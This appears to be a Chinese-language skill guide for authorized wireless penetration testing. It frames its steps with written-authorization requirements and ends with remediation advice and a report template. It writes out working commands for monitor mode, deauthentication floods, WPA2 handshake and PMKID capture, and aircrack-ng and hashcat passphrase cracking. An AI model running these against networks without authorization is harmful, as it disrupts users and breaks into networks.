用途
本技能用于在获得明确书面授权的无线渗透测试中,评估 WPA/WPA2/WPA3 口令的强度,检验无线网络是否使用可被离线破解的弱口令或默认密码,捕获并分析四次握手以评估无线认证安全性,向相关方演示 WEP、弱 WPA2 口令以及基于 PMKID 攻击的风险,并验证企业无线网络是否采用 802.1X/EAP 而非预共享密钥。
技能明确指出:不得在未获得明确书面授权的无线网络上使用,不得用于干扰无线通信,也不得捕获无权测试的网络握手。
前置条件
- 明确书面授权,并指明在范围内的 SSID 与无线网络
- 支持监听模式与数据包注入的无线网卡(如 Alfa AWUS036ACH、Alfa AWUS036ACM 或同类产品)
- 已安装 aircrack-ng 套件、hashcat 与 hcxtools 的 Kali Linux
- 密码字典(rockyou.txt、SecLists 或组织自定义列表)
- 具备 GPU 的系统以加速 hashcat(可选,但处理大字典时推荐)
主要能力与工作流程
1. 准备无线接口
识别无线接口(iwconfig 或 iw dev),终止干扰进程(sudo airmon-ng check kill),启用监听模式(sudo airmon-ng start wlan0),并用 iwconfig wlan0mon 确认 Mode 显示为 Monitor。也可手动启用监听模式:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
2. 扫描目标网络
使用 sudo airodump-ng wlan0mon 扫描所有信道的接入点,识别目标网络的 BSSID、信道、加密类型(WPA2-PSK 为目标)以及已连接客户端,再聚焦目标信道:
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture
3. 捕获 WPA2 四次握手
方式一:等待客户端自然连接,保持 airodump-ng 运行并等待 “WPA handshake” 提示。
方式二:向客户端发送去认证包强制重连:
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
方式三:使用 hcxdumptool 从接入点捕获 PMKID(无需客户端):
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng
验证捕获:aircrack-ng handshake_capture-01.cap 应显示 “1 handshake”,也可用 cowpatty -r handshake_capture-01.cap -c 验证。
4. 使用 aircrack-ng 破解(基于 CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap
支持多个字典(以逗号分隔)。成功时输出 KEY FOUND! [ password123 ]。
5. 使用 hashcat 破解(GPU 加速)
转换捕获文件:hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap 或 aircrack-ng handshake_capture-01.cap -j hashcat_input。
支持的攻击方式包括:
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt
hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
查看结果:hashcat -m 22000 hashcat_input.hc22000 --show。
6. 记录与清理
停止监听模式(sudo airmon-ng stop wlan0mon),重启网络服务(sudo systemctl restart NetworkManager),生成报告文件,并对捕获文件计算哈希(sha256sum handshake_capture-01.cap > evidence_hashes.txt)后按约定转移至安全证据存储。
关键概念
- 四次握手:WPA/WPA2 客户端与接入点之间的认证交换,从 PSK 派生会话密钥,可被捕获用于离线破解
- PMKID:接入点首个 EAPOL 帧中的成对主密钥标识符,无需完整握手或已连接客户端即可破解口令
- 监听模式:捕获某信道上所有无线帧而不与任何接入点关联的接口模式
- 去认证攻击:发送伪造的 802.11 管理帧断开客户端,迫使其重连以生成可捕获的握手
- PSK:WPA/WPA2-Personal 网络中所有用户共用的静态密码,易受离线字典攻击
- 802.1X/EAP:使用 RADIUS 的企业无线认证,提供每用户凭据,消除共享密码漏洞
工具与系统
- aircrack-ng 套件:包括 airodump-ng(捕获)、aireplay-ng(注入)与 aircrack-ng(破解)
- hashcat:GPU 加速密码破解器,支持 WPA/WPA2 握手(模式 22000),具备字典、规则与掩码攻击
- hcxtools:用于捕获 PMKID 并将无线捕获转换为 hashcat 兼容格式
- hcxdumptool:专为提取 PMKID 设计、无需客户端去认证的捕获工具
- cowpatty:支持预计算哈希表的 WPA/WPA2 破解工具,可加速字典攻击
适用场景
资料给出了企业办公无线评估的示例:某金融服务公司有三个 SSID——Corp-WiFi(员工用 WPA2-Enterprise)、Guest-WiFi(访客用 WPA2-PSK)与 IoT-WiFi(IoT 设备用 WPA2-PSK),授权测试全部三个网络。流程包括扫描识别参数、验证 Corp-WiFi 使用 802.1X/EAP 无 PSK 可破解、对 Guest-WiFi 去认证捕获握手并用 hashcat 配合 rockyou.txt 破解、从 IoT-WiFi 捕获 PMKID 并破解,最后演示弱口令风险并提出整改建议(访客网络改用每会话口令的强制门户、IoT 口令增强为 20 字符以上、隔离 IoT VLAN、考虑 WPA3-SAE、启用 802.11w 保护管理帧)。
限制与常见陷阱
- 发送过多去认证帧会干扰测试范围外的正常无线用户
- 无线网卡需支持目标网络的频段(2.4 GHz 与 5 GHz)
- 传统握手捕获方式无法破解 WPA3-SAE 网络(SAE 抵抗离线攻击)
- 在共享系统上运行 GPU 破解时需监控温度与功耗
- 捕获文件包含敏感认证材料,需安全处置
输出格式
技能提供无线安全评估报告模板,包含评估日期、地点、网络清单表(SSID、BSSID、加密、认证、信道、可破解性)、发现项(如弱访客口令、简易 IoT 口令及其风险等级与说明)以及整改建议清单。